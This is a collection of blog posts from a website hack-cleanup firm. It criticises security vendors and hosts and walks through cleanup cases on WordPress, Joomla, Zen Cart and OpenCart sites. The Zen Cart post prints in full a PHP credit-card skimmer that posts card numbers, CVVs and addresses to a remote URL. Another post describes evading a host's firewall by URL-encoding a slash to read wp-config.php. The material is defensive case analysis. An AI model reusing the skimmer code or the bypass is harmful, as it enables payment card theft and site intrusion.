Correlation is Not Causation When It Comes to the Source of Website Hackings

One of the reasons we are so critical of web security companies spreading falsehoods about security is that even without running into that people whose websites have been hacked often believe things that are wrong about the situation. This makes it harder to get the hacking properly resolved because either they are trying to deal with it in ways that don’t have any impact or they want someone else to do those things for them. Often times most of time spent communicating with clients with hacked websites is trying to clear up misconceptions, whether of the clients own creation or something coming from another security company. In some cases people are so convinced with these falsehoods that they are not interested in having the websites properly cleaned up, which leaves the website vulnerable going forward.

One common issue we run into is people believing whatever was the last action they took related to the website before they noticed it was hacked was the cause of the hack. As an example of this, we recently had someone contact us that in all likelihood had been hacked due to their running an outdated version of WordPress, 4.7.1, which has a vulnerability that allowed posts to be modified by anyone. Exploitation of that vulnerability is usually easily fixed by simply updating WordPress and reverting the posts back to an older revision. At the point they had contacted us they had already done those things, so there wasn’t really anything more that likely needed to be done. When we let them know that, they responded that:

Thanks, but the hack date is the same day we installed this plugin, which is kind of weird.   Anti-Malware Security and Brute-Force Firewall

What are the chances that installing a security plugin with 100,000+ active installs would cause such a hack? Probably close to none, but despite that, this person made that connection (that isn’t a knock on them as this type of thing comes up frequently).

The further problem we often find with this type of assumed correlation is that the correlation doesn’t actually exist, as the website was hacked not when the website’s owner became aware of it being hacked, but at some earlier time.

Finding the Real Source of the Hacking

The best bet for finding out how a website was hacked is probably to hire a company that does proper hack cleanups, which includes trying to determine how the website was hacked. Even when hiring someone that does that (like us) often times it cannot be determined with certainty how the website was hacked, as important evidence, usually log files, is gone by the time the website is being cleaned up. In that case someone that deals with lots of websites should still be able to make a fairly good educated guess as to how the website was hacked based on the remaining evidence, the particulars of the situation, and how that compares to other hacked websites they have dealt with where it was possible to make a more definitive determination as to the source.

Even if the source of the hack is not able to be determined we have found that doing the work needed to try to do that helps to make sure the website is fully cleaned. It can also help to make sure the source can be determined if the vulnerability stills exists and gets exploited again after the website has been cleaned up.

Don’t Ignore a Message From SiteLock or Your Web Host That Your Website Has Malware

When it comes to the poor state of web security we often find that security companies play an important role in that. That includes making up threats and telling people they need to take advanced security measure, while many, including those same companies are still failing to do the basics.

Another area we have seen this involves the security company SiteLock and their web hosting partners. We have written numerous posts about SiteLock’s bad practices, one of them being that they and their web hosting partners (who get paid handsomely to push their services) sometimes falsely claim that websites contain malware or have otherwise been hacked. What we have consistently said though is that you shouldn’t assume that the website isn’t hacked and recommended getting a second opinion (something we are happy to provide for free). Unfortunately people often conflate SiteLock’s many bad practices, with the idea that any claim by them or their partnered web hosts that a website is hacked as being false.

For example, yesterday we ran across someone on Twitter claiming that Bluehost was falsely stating a website had malware on it:

We asked how them how they determined that and the answer was they hadn’t actually done that:

We then tried to explain that while there are false claims made by them and the web hosting partners, the claims are often true and suggested that they get a second opinion from a security company (and letting them know we do that for free), at that point they blocked us.

If the website did contain malware, which seems to be of decent likelihood, then their tweets help perpetuate the issue.

Ignoring the Evidence

What makes the false claims is even more problematic is that it feeds in to an existing belief that we have often seen with people assuming that claims that their website are hacked are not true, even when coming from parties that have no profit motive (like Google).

When it comes to SiteLock and their web hosting partners we see two very different scenarios.

In some cases access to the website is shut off immediately and they haven’t provide any evidence of the supposed hack that lead to that happening, which makes the claim legitimately seem questionable.

In others they actually provide evidence, which should be easily checked, but is instead ignored. Take for example, someone, also hosted with Bluehost, that contacted us recently. They had been sent the following email by their web host:

Your [redacted] account has been deactivated due to the detection
of malware. The infected files need to be cleaned or replaced with clean
copies from your backups before your account can be reactivated.

Examples: /home1/[redacted]/public_html/config.php.suspected



To thoroughly secure your account, please review the following:
* Remove unfamiliar or unused files, and repair files that have been
* Update all scripts, programs, plugins, and themes to the latest
* Research the scripts, programs, plugins, and themes you are using
and remove any with known, unresolved security vulnerabilities.
* Update the passwords for your hosting login, FTP accounts, and all
scripts/programs you are using. If you need assistance creating secure
passwords, please refer to this knowledge base article:
* Remove unused FTP accounts and all cron jobs.
* Secure the PHP configuration settings in your php.ini file.
* Update the file permissions of your files and folders to prevent
unauthorized changes.
* Secure your home computer by using an up-to-date anti-virus program.
If you’re already using one, try another program that scans for
different issues.
You may want to consider a security service, such as SiteLock, to scan
your website files and alert you if malicious content is found. Some
packages will also monitor your account for file changes and actively
remove malware if detected. Click here to see the packages we offer:

Please remove all malware and thoroughly secure your account before
contacting the Terms of Service Department to reactivate your account.
You may be asked to find a new hosting provider if your account is
deactivated three times within a 60-day period.

Thank you,

Bluehost Support
For support, go to

Over a month later they were notified by SiteLock that the website had been deactivated. Even then they didn’t look at the files that Bluehost had provided as examples of the malware infection, while questioning if they were really hacked.

When we took a look at the names of the files and their locations mentioned in that email, we noticed one of them wouldn’t normally be in that location in a Joomla website. That isn’t something we expect that the average person would know, but it does show how easy it should be for someone that has actual expertise with dealing hacked websites using the software running your website to double check the claims for you.

Looking at the content of the files, we think that even a layman would think that something was off with them. And for us it was obvious by just looking at them that they really were part of a hack and not a false positive, so we could easily confirm that the claim was actually true in this case.

Get a Free Consultation From Us

If you are have been contacted by SiteLock or a web host (whether a SiteLock partner or not) claiming your website is hacked, feel free to contact us to have a free check done to see if the website is really hacked and if it is we will provide you with a free consultation on how you can best deal with the issue.

If your web host is pushing you to use SiteLock you should be aware of a number of items before making any decisions and you should know that we can provide you with a better alternative for cleaning up the website for less money.

WP Fix It Markets Their WordPress Infection Malware Virus Removal Service With Falsehoods

Of the people that hire us to clean up their hacked website maybe close to half of them bring up the fact that they previously hired someone else to clean up the website and then it got hacked again. While that is not always the previous cleaner’s fault, it appears that a lot of it can be explained by the fact that most companies doing hack cleanups either don’t know what they even should be doing or they are intentionally cutting corners.

The first thing we always after the client mentions that someone had previous cleaned things up, is whether they determined how the website was hacked. The answer is almost universally that trying to do that never even came up. That is despite that being one of the three main components of a proper hack cleanup. If you don’t do that then it is entirely possible that the vulnerability may still exist on the website, leaving the website open to being hacked again. If you are lucking after getting a subpar cleanup, the vulnerability might have been fixed without it being determined first or no one tries to exploit the vulnerability again on the website and you don’t get hacked again. If you are less lucky then you quickly end up with a hacked website again.

If you don’t want to have hire multiple companies to finally get your website cleaned you should make the sure company you are hiring in the first place actually does try to determine how the website was hacked and does the other component of a proper cleanup that we see frequently is not done, securing the website, which usually mainly involves getting the software on the website up to date.

Beyond doing that there are plenty of other red flags that a company is probably one you should avoid. To give an example of that, let’s take a look at one company we ran across recently that has service promoted with a lot of red flags. WP Fix It’s WordPress Infection Malware Virus Removal service ( Below we look at a number of those, first quoting from their marketing materials and then discussing why it should be a red flag.

A Security Plugin Won’t Safe Guard Your Website Against Future Attack

Security Enhancements

It is critical that you have security in place at all times. Our Infection Specialist will complete the highest level of protection by installing a tried and trusted security plugin which will safe guard your site against future attacks.

While you can find a multitude of review and recommendations when it comes to WordPress security plugins what you won’t find almost any of is actually testing of these plugins to see if they can actual protect against vulnerabilities. In fact other than the testing we have been doing through our Plugin Vulnerabilities service, we only have found one other instance of someone doing that type of testing. The lack of that is a reminder of the lack of seriousness when it comes to most people claiming to be interested in the security of WordPress.

What isn’t an explanation for the lack of testing is that the plugins provide such great protection that testing to see if they don’t provide protection isn’t needed. Take for example a vulnerability we just tested them against last week. Recently the security NinTechNet discovered that the plugin Delete All Comments had an arbitrary file upload vulnerability, which allows hackers to upload malicious files to website and then do almost anything they want on the website. They discovered that while doing a hack cleanup. Since the vulnerability exists in the current version of the plugin, if they hadn’t determined that, then that website would have remained vulnerable even if the software on the website was brought up to date and would have been open to being hacked again. The plugin recently had 30,000+ active installs according to, so there are lot of websites that are currently vulnerable and this is where a security plugin could be useful. Unfortunately in our testing none of the 15 plugins we tested stop the vulnerability from being exploited.

Through the four tests we have done so far, most of the plugins we have tested have provided no protection whatsoever. Of the few instances where there was some protection, in all but one of them we found that the protection could be easily bypassed. The one time that we didn’t find a bypass there was a major tradeoff to get the protection, only Administrators level users were allowed to upload files. On a lot of websites where there is a single WordPress account that isn’t an issue, but for other websites lower level users are blocked from uploading media files would be an unacceptable limitation.

While WP Fix Its claim doesn’t specify what the plugin they install “will safe guard your site against future attacks” is, one review of their service from September indicates that it is Sucuri Security. In our testing that plugins has not provided any protection, which isn’t really surprising since it doesn’t even look to have any features that would prevent the vast majority of hacks. So you either have a situation where WP Fix It doesn’t have any clue as to whether the plugin can do what they claim or they are lying about what it can do, neither of which seems like something that you would want in someone doing a hack cleanup.

Brute Force Attacks Are Not Happening

Brute Force Attack Prevention

A common attack point on WordPress is to hammer the wp-login.php file over and over until they get in or the server dies. Each tried attempt is a request to the server which slows things down. Our Infection Specialist will guard your site against this.

When it comes to glaringly bad information about WordPress security the false claim that there are a lot of attempts to brute force WordPress admin passwords is probably the most widespread. As we discussed back in August, the evidence provided by security companies actual shows that these attacks are not happening. If you see someone claiming that they are they are, the either don’t understand security or they are lying to you. What does occur in some instances our dictionary attacks, which involve an attacker trying to log in using common passwords. As long as you are using a strong password these are not a threat to you. Unless you are an overloaded server they also shouldn’t cause the server to die or cause a noticeable slowdown.

Security Companies Can’t Speed Up Getting Security Warnings Removed

Blacklist Removal

Some infections may trigger a blacklist of your website online. This means that when people try to visit your site they are warned that the content in harmful and urges them not to proceed. We will take the needed steps to remove all these warnings right away and allow visitors to surf your site without issues.

Getting Google or someone else’s malware or hack warning removed for your website is usually a fully automated process, which is easy to request and which a security company has no control over how long it takes. Where a security company can probably best help out, if they handle a lot of these, is with understanding why the review is taking so long or the odd information being returned during that, as we have found with Google’s warning that “This site may be hacked”. Of course if they mentioned that, they would also be disclosing that the warning doesn’t always get removed “right away” as this company claims and they don’t have any ability to control that timing.

Unrelated Work Isn’t A Sign of Competency

Database Optimization & Cleanup

Your database is the sweet spot of all your saved website content and data. Over time databases can become very bloated storing tons of information that you site does not need anymore. Our Infection Specialist will optimize your entire database.

Optimizing a database has nothing to do with a hack cleanup, even if the small percentage of hacks that involve the hacker making some change to the database, so it is really odd that they would doing that during hack cleanup.

A Low Quality Cleanup

Based on all that it doesn’t look these guys have much security knowledge, so you might wonder how they can actually handle doing a cleanup. The answer it seems is that they are not actually doing much themselves, in one of their blog posts ( they include steps to do a cleanup, which at the end they stat “We also can do all this for you”, and they actually detection of malicious code is done by the plugin Anti-Malware Security and Brute-Force Firewall. Our experience is that automated detection like this is able to spot some malicious code, but won’t get better hidden stuff, so relying on something like that isn’t going to provide the best cleanup.

Joomla Firewalls Are Not a Replacement For Properly Cleaning Up a Hacked Website

When it comes to the security of websites what we often see is that a lot of focus is add-on security products instead of focusing on doing the basics. The reality is doing the basics is going to do a lot more to protect you than any security products. As an example, over at our Plugin Vulnerabilities service we recently tested 11 WordPress security plugin against a very exploitable vulnerability in a plugin and found that only 2 of the plugins provided any protection and for those two we easily found a way to bypass them. By comparison, simply updating the plugin after the vulnerability was fixed would protect you from the vulnerability.

This type of wisdom recently came up in the context of a hacked Joomla website we brought in to clean up. We were originally contacted by someone involved with the website about the following warning they were receiving on the website from Chrome warning that “The site ahead contains malware”:

This site ahead contains malware

The warning referred to another website, so they were not sure if it was due to their website being hacked or if maybe the other website was hosted on the same server and being on the same server was causing the warning. The reason the warning mentioned another website was that it was a cross-site warning, which is shown when content is loaded from another website that is being flagged by Google for malware. In this case it was caused by the following malicious JavaScript code that was being included on the website’s pages:


We explained them what was going on (if you have a question related to a possible hacked website we are always available for free consultation to discuss it) and then we were brought in to clean up the website.

The JavaScript code shown before was easy to find because it stored in the index.php of the various templates on the website, without any obfuscation.

One of the next steps in the cleanup was determining how the code got on the website. While determining how a website is hacked is one of three important pieces of a proper hack cleanup, many, maybe most, companies doing hack cleanups don’t do this. Not to surprisingly the website where that doesn’t happen often get hacked again, and we are often brought in at that point to re-clean it.

What looked to be the cause of the malicious JavaScript code being added to the template files was a POST request to the file /libraries/fof/integration/joomla/general24.php. While that directory is one for core Joomla files, that file isn’t. Instead it was file a hacker had placed on the website at some point before, based on the last modified date it would appear it was placed there three months before. The logging doesn’t go back that far so we were unable to see how that file had been added to the website.

That was not the only malicious file on the website. One of the easiest to spot was one in the root directory of the installation, due to the filename, ee79bb.php, not being something you would expect to see there. There were also several malicious files that had been renamed so that could be executed. At that point we found out that website had been hacked before, but it not been cleaned in a professional manner before.

Firewall Extensions Didn’t Stop The Hacking

While the website had not been fully cleaned before, two firewalls had been added, RSFirewall! and the firewall that is part of Admin Tools. Neither of those protected against the request sent to the general24.php file or based on their logging look to have had any impact as a number of other malicious look to have been added on the website over a period of months. That isn’t necessarily their fault, as once a hacker has some access it is much harder to detect that the requests are malicious in nature, but it is a reminder that security add-ons are not a replacement for proper security practices.

It is worth noting that with both RSFirewall! and the firewall that is part of Admin Tools, bold claims are made to their security capability with being backed up by and evidence. For RSFirewall! is describe thusly:

RSFirewall! is the most advanced Joomla! security service that you can use to protect your Joomla! website from intrusions and hacker attacks. RSFirewall! is backed up by a team of experts that are trained to be always up to date with the latest known vulnerabilities and security updates.

Nowhere is there anything that actually backs up those claims. Also troubling is the fact that it boasts protection against brute force attacks, despite those not actually happening.

Admin Tools firewall is describe in somewhat less bold way:

Our Web Application Firewall protects your site against the vast majority of common attacks. You won’t find any security tool more feature-complete than this.

But again, nowhere is there anything that actually backs up those claims.

GoDaddy and SiteLock Make a Mess of a Hack Cleanup (And Drop The Ball on Security As Well)

In the complaints about the web security company SiteLock we have seen, one of the things that comes up frequently is the widely variable and often times excessive prices for their services. In some cases the pricing would be within reason if you were getting a high quality service, but as we found while helping to fix a website after SiteLock did a malware removal on it few days ago, you get the opposite of that from them.

This incident involved one of SiteLock’s partner web host, though not one the ones run by the owners of SiteLock. Instead it is GoDaddy, for which we found a couple of security issues on their end while looking into this as well.

What happened in this cases is that SiteLock through GoDaddy was hired to clean up malware on the website. Afterwards though the website was screwed up, with the styling gone and shortcodes showing up on the pages (instead of being processed). GoDaddy told the website’s owner that they would need to have someone update WordPress and re-install the theme they used.

None of this made a whole lot of sense. After removing malware or doing some other cleanup the website should appear as it did before. The theme shouldn’t be missing, unless it had been completely replaced with malicious code (which we have never seen happen). Also a part of a proper cleanup is making the website secure as possible, which would, in part ,involve updating the software on the website.

When we got in to the WordPress admin area to look over things we found that theme actually was still there, but wasn’t activated. The only reason we could think for changing to another theme would be to check if the theme being used was causing the malware to be served up, but after that checking was finished it should be reactivated.

We also found that all of the plugins were deactivated, the same explanation as the theme might explain them being deactivated. But again they should have been reactivated if that was the case. This was more problematic to deal with since we didn’t know which, if any, of the plugins were not active before the cleanup and did not need to be re-activated.

Not only did WordPress still need to be updated, but so did the plugins and themes.

Once we got a handle of those things we were able to bring the website back to working order, but further looking showed that items added by the hacker still existed (and would have allowed them continued wide access to the website) and the vulnerability that could have allowed the hacker access to begin with still existed on the website, so the hacker could have easily gotten back in.

Malicious Administrators and a Vulnerable Plugin

When cleaning up a hacked WordPress website one of thing you want to check for is the existence of users that should not exists, with an emphasis on users with Administrator role, since they have wide ranging access. Sometimes those added accounts are rather obvious, in the case of this website a couple had the email adress “”. While seemly intended to look innocuous, there shouldn’t be any account with email addresses from on a website. Either SiteLock did not spot those or didn’t even do any check for that.

Looking at the details of the users in the database would tell you something more about this. In the following screenshot you can see that for the two account with the “” and one other have the user_registered field not filled in (the others listed there have dates from before the website existed and before the original account on the website was created):



That indicates that the accounts were not created through the normal process in WordPress. One other way to do that is with direct access to the database.

That brings us to another thing that SiteLock missed, one the installed plugins, Revolution Slider, had an arbitrary file viewing vulnerability in the version of the plugin installed (you can check if a website is using a vulnerable version of that and if other plugins have vulnerabilities hackers are targeting using our Plugin Vulnerabilities plugin). Hackers frequently target that type of vulnerability to try to view the contents of WordPress configuration file, wp-config.php. That file contains database credentials for the website, so accessing that could allow a hacker access to the database, which they could then use to add new users.

GoDaddy’s Security Failings

We then went to check to see if the vulnerability was in fact exploitable on the website and we found that connection was dropping when we made the request to exploit it, which looked to be GoDaddy blocking the request. Unfortunately their protection is incredibly easy to evade.

The original request we made was the following, which was stopped:


This request was not stopped:


The only change was that the “/” right before “wp-config.php” has been encoded, changing it to “%2”.

The fragility of such protection seems to pretty common, as earlier this week we found that two WordPress security plugins protection against another vulnerability could bypassed by simply adding and “\” in the right location (the 9 other WordPress security plugins we tested provided no protection).

Remote Database Access

Even if a hacker gets the database credentials by exploiting an arbitrary file viewing vulnerability they still need some method to access the database. In the case of the database for the website remote access is permitted, which allows someone to connect to the database from outside of GoDaddy’s systems. That type of access makes it really easy for a hacker, so it should be disabled by default.

In looking how we could disable remote access to the database, we found that based on their documentation it shouldn’t have even been enabled. The documentation says that you need to enable direct access when creating a database for to connect remotely:

Connecting remotely to a database lets you manage it using tools like MySQL Query Browser,MySQL Workbench, or Microsoft SQL Server Management Studio Express.

If you want to connect remotely to a database, you must enable Direct Database Access when setting it up1 — you cannot enable it later.

But the database in question is listed as not allowing direct access:


So something isn’t right.

If we didn’t know what SiteLock was up to at this point we would be asking why they had not noticed those problems with the partner GoDaddy’s security and gotten them to fix them, but knowing what they are doing it isn’t surprising they wouldn’t have done that. If anything getting their partners to improve their security would mean less money for them and less money for the partners as well.

If you want a hacked WordPress website cleaned up properly, we are always available to help.

Its Not Hard To Find The Source of a Credit Card Compromise in Zen Cart If You Know What You Are Doing

When it comes to dealing with hacked websites there are lots of people who feel it is appropriate for them to do that work without seeming to have any of the expertise needed to be able to properly do the work. We often see the end result of that when we are brought in to re-clean hacked websites after somebody else did it and then the website got re-hacked. We usually find that the original people doing the cleanup didn’t even attempt to do central parts of the cleanup (like determining how the website was hacked). The lack of expertise also showed up recently we were contacted about a Zen Cart based website where credit card information was seeming to be compromised on the website, as fraudulent charges were being made to credit card accounts after they were used on the website.

When we were contacted about this we were confused by a question raised, which was if we charge if were not able to find the vulnerability. Why would someone charge if they were not able to complete the work? In answering that, we were told that other people had looked into this and had not been to identify the problem. That seemed odd to us, since we have never had a problem finding the source of a credit card breaches in the past. The fact that the people that couldn’t find it were then recommending resolving the by upgrading Zen Cart, seemed to point the not knowing what they are doing at all (since upgrading the software on a website is not the proper way to clean up a hacked website). But maybe the code that was compromising the credit card information was well hidden?

One of the easiest thing to do when looking for malicious code on a website is to compare the contents of its files to a freshly downloaded copy of the software being used on it. When we did that with this website we found that one of the files modified from its original form was /languages/english/checkout_confirmation.php. Based on the file’s name that would seem to be possible location where the code to compromise credit card information might be. The modification involved the following code having been appended to the file:

$data1 = $_POST['paypalwpp_cc_firstname'];
$data2 = $_POST['paypalwpp_cc_lastname'];
$data3 = $order->billing['street_address'];
$data4 = '';
$data5 = $order->billing['city'];
$data6 = $order->billing['state'];
$data7 = $order->delivery['postcode'];
$data8 = $order->billing['country']['iso_code_2'];
$data9 = $order->customer['telephone'];
$data10 = $_POST['paypalwpp_cc_number'];
$data11 = $_POST['paypalwpp_cc_expires_month'];
$data12 = $_POST['paypalwpp_cc_expires_year'];
$data13 = $_POST['paypalwpp_cc_checkcode'];
$data14 = ''; // credit card owner
$data15 = "[redacted domain name]";
$data16 = $order->customer['email_address'];
$data17 = ''; // county
$post77 = "firstname=".($data1)."&lastname=".($data2)."&street1=".($data3)."&street2=".($data4)."&city=".($data5)."&state=".($data6)."&zip=".($data7)."&country=".($data8)."&phonenumber=".($data9)."&ccnumber=".($data10)."&expmonth=".($data11)."&expyear=".($data12)."&cvv=".($data13)."&comment1=".$data14."&comment2=".$data15."&email=".($data16)."&county=".($data17);
$url = "";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post77);
$result = curl_exec($ch); // run the whole process

Even if you not an all that familiar with PHP code it is pretty obvious that this code has something to do with credit card information. Combine that with the fact that that code is so different that legitimate code in the file, which involves defining the language to be used on the checkout confirmation page:

define('NAVBAR_TITLE_1', 'Checkout');
define('NAVBAR_TITLE_2', 'Confirmation');

define('HEADING_TITLE', 'Step 3 of 3 - Order Confirmation');

define('HEADING_BILLING_ADDRESS', 'Billing/Payment Information');
define('HEADING_DELIVERY_ADDRESS', 'Delivery/Shipping Information');
define('HEADING_SHIPPING_METHOD', 'Shipping Method:');
define('HEADING_PAYMENT_METHOD', 'Payment Method:');
define('HEADING_PRODUCTS', 'Shopping Cart Contents');
define('HEADING_TAX', 'Tax');
define('HEADING_ORDER_COMMENTS', 'Special Instructions or Order Comments');
// no comments entered
define('NO_COMMENTS_TEXT', 'None');
define('TITLE_CONTINUE_CHECKOUT_PROCEDURE', '<strong>Final Step</strong>');
define('TEXT_CONTINUE_CHECKOUT_PROCEDURE', '- continue to confirm your order. Thank you!');

define('OUT_OF_STOCK_CAN_CHECKOUT', 'Products marked with ' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . ' are out of stock.<br />Items not in stock will be placed on backorder.');

It is hard to see how this could have been missed unless the people trying to find it had no business getting involved in working on something like this.

As to the what allow the code to be added to the website, we were only able to track it back to a Russian IP address that looked to have already gained some level of access to the website. As they were able to login in to the Zen Cart backend and look to have been able to read and write to files on the website.

Your Web Developer Might Not Be the Best Person to Handle Cleaning Up a Hack of Your Website

When it comes to cleaning up hacked websites, the reality is that a lot of the companies that offer to do that don’t know how to do it properly or are intentionally cutting corners. We know this because we are often hired to re-clean hacked website after they get re-hacked and the first thing we always ask when somebody mentions that they perviously had someone else try to clean it, is if the previous company was able to determine how the website was hacked. Trying to determine how the website was hacked is one of the three main components of a proper hack cleanup, so the answer to that question should always be that they were or the reason that they were unable to determine how it was hacked (which is often the case due to poor log archiving practices at many web hosts). In almost all cases the response we get back is some variation of of that the issue of how the website was hacked was never even brought up by the cleanup company. When companies are not doing basic parts of the cleanup it really isn’t all that  surprising that the website doesn’t get fully fixed and it needs to be re-cleaned.

Since it is hard to for someone to determine whether a company they don’t have prior experience with is on the level or if they will make claims that about what they do and their level of expertise (as so many companies offering to clean up hacked website seem to do) working with a web developer or similar person you already have a relationship would seem to be a fairly good idea. The reality is that it can lead to poor handling of a hack cleanup, so you should at least get a second opinion on what to do, if you are considering having them handle it.

A recent example of them handling that in a less that ideal way involves a situation we were contacted about recently. A web developer contacted us about the possibility of us doing an upgrade of a Joomla 1.0 installation on a customer’s business website ASAP. When we went to take a look at the website we noticed it was serving up malware and was being blocked by Google. At that point we suggested that the website be cleaned and then seeing as moving from Joomla 1.0 is major migration, to then take their time doing the migration instead of rushing it. At that point they replied that they were aware that the website was hacked and that moving to the new version was their solution.

Doing an upgrade or migration usually not a good way to try to deal with a hacked website, since that may not remove much, if any, of the malicious items added by the hacker and the hack may be unrelated to the software being changed, so the website may just as vulnerable to exploitation after doing the upgrade or migration. For a major upgrade or migration it is also going to takes longer then a hack cleanup and it you rush that there could be even more problems that need to be dealt with down the road. In this case, when we went to see if things had been resolved a week later, the website was still hacked and had not been moved to a newer version, whereas with a hack cleanup things can usually be resolved in a matter of hours, so the business had lost at least a weeks worth of business brought in by their website.

Also concerning to us in this case was the fact that the web developer had said they wanted to move to Joomla 2.5 or Joomla 3, despite the fact that support for that version had ended back in December of 2014.

Your Website Probably Wasn’t Hacked Through A Backdoor

When it comes to dealing with hacked websites our experience is that information coming from web hosts often isn’t great. When you consider how terrible many security companies dealing with websites are, it isn’t very surprising that companies that don’t claim that expertise would be bad as well.

Last week over on the blog for our Plugin Vulnerabilities service we discussed one issue that comes up from time to time, which is web hosts claiming that the source of a hack is whatever software that happens to be located where a hacker placed a malicious file. Often times the hacker just randomly place their malicious files, making the location of the file a weak piece of evidence as to the source of the hack in most cases.

Another recent example of this involved someone who contacted about a website that was hacked, cleaned, and then was getting re-infected everyday. In that situation our first question is always if the person that cleaned up the website determine how it was hacked. Seeing as someone doing a cleanup should attempt to determine how a website was hacked, that will tell you if the person doing the cleanup was doing things properly (the response almost always indicates they haven’t). It also important since the re-hacking could indicate that the security vulnerability that allowed the website has not been fixed and knowing what was believed was the cause would provide a better understanding of the situation.

In this case they said that there web host had been hacked through a backdoor (apparently the person that did the cleanup did not determine how the website was hacked). For those not familiar a backdoor would be code that allows a hacker remote access to the website internals. In most cases a backdoor could not be source of a hack since the backdoor would have to have gotten on the website. Usually the hacker will exploit a vulnerability to allow them to place a backdoor on a website and then use the backdoor to perform further actions on the website, so the backdoor isn’t the source of the hacking, only a result of it.

The main exception to this is that occasionally a malicious individual will be able to plant a backdoor into non-malicious code, say sneaking it in to an otherwise legitimate WordPress plugin in the Plugin Directory. That is by no means a common occurrence though.

If your web host or someone else is telling you your website was hacked through a backdoor, you should ask them how it got there to understand if they are correct about the source of if they failed to understand the actual source.

It Appears That FTP Login Credentials Provided To Cart2Cart Were Compromised

When dealing with hacked websites one of the important parts of the process is to determine how the website was hacked. If that isn’t it done the vulnerability that was exploited is more likely to remain open and be exploited again. Amazingly many companies that do hack cleanups don’t do that (which frequently leads to us being hired to re-clean hacked websites).

While dealing with one such case recently we came across evidence that company Cart2Cart was compromised at some point leading to a hacker gaining access to FTP login credentials for websites that were provided to Cart2Cart.

The hacking case we were dealing with was rather serious, as the breach first lead to thousands of dollars of decline fees with a payment processor and then later after that issue was resolved the breach lead to the compromise of credit card credentials used on the website (which is a good reminder of why figuring how the website was hacked and closing the vulnerability in the beginning is so important).

One of the places that is checked when working to determine the source of the hack is the log of FTP activity. For this particular website one of the things we first noticed while looking over that was that there had been access from IP addresses in the Netherlands

Tue Jun 09 05:45:57 2015 0 3326 /home4/[redacted]/public_html/oc_1/bridge2cart/config.php a _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:24 2015 8 911360 /home4/[redacted]/public_html/oc_1/download/XLS-BACKUP-01-01-2014_15-32.xls b _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:50 2015 1 81817 /home4/[redacted]/public_html/oc_1/sql.php a _ i r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:52:08 2015 0 1296 /home4/[redacted]/public_html/oc_1/config.php a _ o r c2c@[redacted].com ftp 1 * c

and Russia

Thu Jul 16 11:22:17 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:24:50 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:26:35 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:22 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:27 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:29:59 2015 0 9761 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:38:00 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c

during the summer. Since the website is US based that is usually a strong indication that the FTP login credentials have been compromised. Though it can sometimes be due to someone traveling or use of a foreign service provider. In this case we thought at first it might be the latter because the FTP account was one that looked to have been created especially for the service provided Cart2Cart. Checking with the client we found that it was indeed set up for them, but that their use of Cart2Cart ended more than a year ago.

At this point we had a pretty good idea based on what was in the FTP log that a FTP account had been compromised, but without knowing how it got compromised we couldn’t be sure how to prevent that from happening again or if other logins were also compromised as well. So what was the source of the compromise?

When we did a search on the Russian IP address,, we came across a forum thread from January that described a very similar situation. In that case a FTP account that was “created expressly for [Cart2Cart], no other reason” was making unauthorized changes to the website’s payment module when Cart2Cart should no longer have been accessing it. The only major difference between the two cases is that we were dealing with an OpenCart based website while in the other case it was a PrestaShop based website.

In the thread someone from Cart2Cart responded:

As far as I can see from your screenshots, IP address doesn’t belong to Cart2Cart.

The chances that two FTP accounts created especially for use by Cart2Cart were compromised with malicious access coming from the same IP address and the source of the compromise of these logins not being on Cart2Cart’s end seem to be incredibly small. Since they seem to be a legitimate service provided we don’t believe that they were involved in the hacking themselves, so that leaves us to believe that they must have been compromised at some point.

Their lack of concern in that thread that they might have been compromised doesn’t really jibe with the claim on their website that:

We have taken every precaution to ensure that our systems which store access information is highly secure.

It is also worth noting that the first malicious FTP access to the website we were dealing with, as shown in the FTP log, was two months after the time that forum thread was active.

If you have used Cart2Cart in the past, now would be a good time to make sure you have changed any password you provided them and probably make additional checks of your logs and files to make sure you have not been compromised as well.

Behind the Scenes of a Hack That Causes a Website to Redirect on Mobile Devices

When hackers hack websites they generally try to do things in a way that won’t be easily spotted by the webmaster. Two ways of doing that have long been popular have been to serve up different content when the websites pages are requested by crawlers for search engines (cloaking) and redirecting the website to another location when accessed through a search engine. Recently we have been having an increasing number of people come to us to get their websites cleaned up after their website starts being redirected to a malicious website when accessed from a mobile device.

This redirection can occur on the server side or on the client side. On the server side it would usually be caused malicious code added somewhere in the code that generates the website’s pages or by code added to a .htaccess file. On the client side it would usually be caused by malicious JavaScript code being added to the page or one of the JavaScript files loaded with the page.

Let’s take a look at the code added in one recent .htaccess based incident we cleaned up to get a better idea of what is going on behind the scenes with this type of hack.

First the code turns on Apache’s mod_rewrite module to allow the rest of the code to function.

RewriteEngine on

